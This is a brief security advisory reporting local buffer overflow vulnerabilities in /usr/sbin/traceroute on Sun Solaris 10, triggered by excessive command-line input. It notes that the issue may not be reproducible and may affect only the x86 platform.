Sun Solaris traceroute is affected by multiple local buffer overflow vulnerabilities.

These vulnerabilities present themselves when the application handles excessive data supplied through command line arguments.

These issue are reported to affect /usr/sbin/traceroute running on Sun Solaris 10.

Some reports indicate that this issue cannot be reproduced. It is also reported that this issue is only exploitable on the Solaris x86 platform.
